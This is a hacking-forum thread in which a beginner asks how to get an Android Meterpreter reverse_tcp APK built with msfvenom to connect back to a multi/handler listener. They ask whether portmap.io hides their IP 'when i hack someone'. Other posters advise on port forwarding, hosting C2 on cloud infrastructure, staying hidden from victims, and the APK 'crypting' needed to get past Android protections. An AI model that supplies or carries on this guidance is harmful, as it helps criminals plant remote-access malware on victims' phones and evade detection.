hello guys it is me again
okay i have learnt that to make a reverse_tcp payload
we need a port and an active ip...
thats why i wasnt able to run it on my kali visualbox
nnow a friend just informed me about a way to make the payload that way...
you go to msvenom... -p android/meterpreter/reverse_tcp lhost= ?????? lport ????? R> hgd.apk
>>
then i go to msfconsole and make
use exploit/multi/handler
set payload androi/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport ?????
then we do run
....
okay here is the point, they are saying i must go to portmap.io and download a vpn, change my ip, add the new ip settings to the portmap, they will give me a new ip and ports and i use them while making the payload, is that true? or will i get nothing since i will use a fake ip?
Jul 22, 2025 07:30 PM
(This post was last modified: Jul 22, 2025 07:39 PM by DeathPenalty666.)
if you used your real public ip and it wasnt working, its probably a port fowarding problem. using a public vpn ip wont help at all. Have you tried first at all to run a port scan on your first config? if portfowarding is the issue whatever you do wont help at all unless to have a vpn with port fowarding...
i dont know if what i say is clear but i can picture it to you to be. with my vpn i have dedi ip and port fowarding, if i use the vpn app on the dedi with pf i get connection to all my clients, if i use any other method i dont have any income connection. My isp blocking some ports, even with port fowarding done i alway have some port blocked.
using a shared vpn ip wont help you
(Jul 22, 2025 07:06 PM)SaritaSola Wrote: hello guys it is me again
okay i have learnt that to make a reverse_tcp payload
we need a port and an active ip...
thats why i wasnt able to run it on my kali visualbox
nnow a friend just informed me about a way to make the payload that way...
you go to msvenom... -p android/meterpreter/reverse_tcp lhost= ?????? lport ????? R> hgd.apk
>>
then i go to msfconsole and make
use exploit/multi/handler
set payload androi/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport ?????
then we do run
....
okay here is the point, they are saying i must go to portmap.io and download a vpn, change my ip, add the new ip settings to the portmap, they will give me a new ip and ports and i use them while making the payload, is that true? or will i get nothing since i will use a fake ip?
Portmap.io isn't a VPN; it's a legitimate traffic redirection service. The directions are confusing and inaccurate, but portmap isn't what you think it is. It's used to bypass NAT and hide the real IP address to avoid prison. 'Cept Portmap certainly keeps logs, monitors for malicious activity, and can see your IP address. I think that it's hardly better than raw-dogging the C2 on your public IP address.
(Jul 22, 2025 07:30 PM)DeathPenalty666 Wrote: if you used your real public ip and it wasnt working, its probably a port fowarding problem. using a public vpn ip wont help at all. Have you tried first at all to run a port scan on your first config? if portfowarding is the issue whatever you do wont help at all unless to have a vpn with port fowarding...
i dont know if what i say is clear but i can picture it to you to be. with my vpn i have dedi ip and port fowarding, if i use the vpn app on the dedi with pf i get connection to all my clients, if i use any other method i dont have any income connection. My isp blocking some ports, even with port fowarding done i alway have some port blocked.
using a shared vpn ip wont help you
i'm lost moe and more, is that going to work or not haha
P.S. If I haven't mentioned this to you before, Meterpreter for Android isn't going to work, and Rapid7 is unlikely to give Meterpreter the update needed to keep it working.
(Jul 22, 2025 07:44 PM)DramaKing Wrote: Portmap.io isn't a VPN; it's a legitimate traffic redirection service. The directions are confusing and inaccurate, but portmap isn't what you think it is. It's used to bypass NAT and hide the real IP address to avoid prison. 'Cept Portmap certainly keeps logs, monitors for malicious activity, and can see your IP address. I think that it's hardly better than raw-dogging the C2 on your public IP address.
so the portmap is just a site to hide my real ip address when i hack soeone
(Jul 22, 2025 07:30 PM)DeathPenalty666 Wrote: if you used your real public ip and it wasnt working, its probably a port fowarding problem. using a public vpn ip wont help at all. Have you tried first at all to run a port scan on your first config? if portfowarding is the issue whatever you do wont help at all unless to have a vpn with port fowarding...
i dont know if what i say is clear but i can picture it to you to be. with my vpn i have dedi ip and port fowarding, if i use the vpn app on the dedi with pf i get connection to all my clients, if i use any other method i dont have any income connection. My isp blocking some ports, even with port fowarding done i alway have some port blocked.
using a shared vpn ip wont help you
I'm not sure that OP understands with public IPs or port forwarding.
Portmap.io is used to bypass NAT. That's exactly what it's for.
With a VPN, it doesn't matter what ports your ISP blocks, so long as the VPN connects.
Jul 22, 2025 07:52 PM
(This post was last modified: Jul 22, 2025 07:54 PM by DramaKing.)
(Jul 22, 2025 07:48 PM)SaritaSola Wrote: so the portmap is just a site to hide my real ip address when i hack soeone
From the victim. Not from portmapper itself. Not from law enforcement.
(Jul 22, 2025 07:52 PM)DeathPenalty666 Wrote: if 50 people use the same ip as you, and 17 use the same port as you there is no way this gonna work!
If you cant get it working using your real public ip, using a vpn only wont solve your issue! It's a port frwarding issue, your isp blicking some ports or the problem is in your ocnfig.
Portmap.io gives a unique URL and port number.
Jul 22, 2025 07:55 PM
(This post was last modified: Jul 22, 2025 07:55 PM by SaritaSola.)
(Jul 22, 2025 07:52 PM)DramaKing Wrote: From the victim. Not from portmapper itself. Not from law enforcement.
Portmap.io gives a unique URL and port number.
so it is useles!!!
(Jul 22, 2025 07:52 PM)DeathPenalty666 Wrote: if 50 people use the same ip as you, and 17 use the same port as you there is no way this gonna work!
If you cant get it working using your real public ip, using a vpn only wont solve your issue! It's a port frwarding issue, your isp blicking some ports or the problem is in your ocnfig.
so my app may fail
Jul 22, 2025 07:59 PM
(This post was last modified: Jul 22, 2025 08:00 PM by DramaKing.)
(Jul 22, 2025 07:55 PM)SaritaSola Wrote: so it is useles!!!
so my app may fail
Learn to use cloud infrastructure to host servers or forward ports.
And "your app" will fail anyway because Android won't allow it to run, and you don't know advanced APK crypting techniques.
PERSONALLY!!! i would suggest you to get it working first at all on your own device using your own real public ip. Nmap is your friend all the way, telling you what tcp/udp port is open or closed. i like to use whatsmyip dot org portscanner (ONLY TCP) to get a quick overview. if you get timed out instead of OPEN/closed something is blocking the connection.
I could port forward through a router to a host and to a VBox guest, but it's complicated.
Jul 23, 2025 01:24 AM
(This post was last modified: Jul 23, 2025 01:26 AM by SaritaSola.)
(Jul 22, 2025 07:59 PM)DramaKing Wrote: Learn to use cloud infrastructure to host servers or forward ports.
And "your app" will fail anyway because Android won't allow it to run, and you don't know advanced APK crypting techniques.
so, is making a forward ports will hide my ip from only the target not the goverment and others right?
and what i have to do to get my payload run?
(Jul 22, 2025 08:04 PM)DeathPenalty666 Wrote: PERSONALLY!!! i would suggest you to get it working first at all on your own device using your own real public ip. Nmap is your friend all the way, telling you what tcp/udp port is open or closed. i like to use whatsmyip dot org portscanner (ONLY TCP) to get a quick overview. if you get timed out instead of OPEN/closed something is blocking the connection.
i'm already trying on my own devices, coz i have to turn off google play protect, uninstall all the antivirus , and allow installing from unknown resources etc....
theres no any target who is gonna help me and turn them all off
(Jul 23, 2025 01:24 AM)SaritaSola Wrote: so, is making a forward ports will hide my ip from only the target not the goverment and others right?
and what i have to do to get my payload run?
i'm already trying on my own devices, coz i have to turn off google play protect, uninstall all the antivirus , and allow installing from unknown resources etc....
theres no any target who is gonna help me and turn them all off
For testing, just go to portforward.com, look up your router, and follow the instructions. You also got the Kali VM working? Follow this, too: https://www.virtualbox.org/manual/ch06.html.
Jul 23, 2025 05:38 AM
(This post was last modified: Jul 23, 2025 05:50 AM by SaritaSola.)
(Jul 23, 2025 05:35 AM)DramaKing Wrote: For testing, just go to portforward.com, look up your router, and follow the instructions. You also got the Kali VM working? Follow this, too: https://www.virtualbox.org/manual/ch06.html.
i have kali coding mode installed without visual machine on win 11
(Jul 23, 2025 05:35 AM)DramaKing Wrote: For testing, just go to portforward.com, look up your router, and follow the instructions. You also got the Kali VM working? Follow this, too: https://www.virtualbox.org/manual/ch06.html.
i have looked for portforward, but well it costs 70% of my monthly salary , sure not gonna pay that much just to test something if it is gonna work with me
|
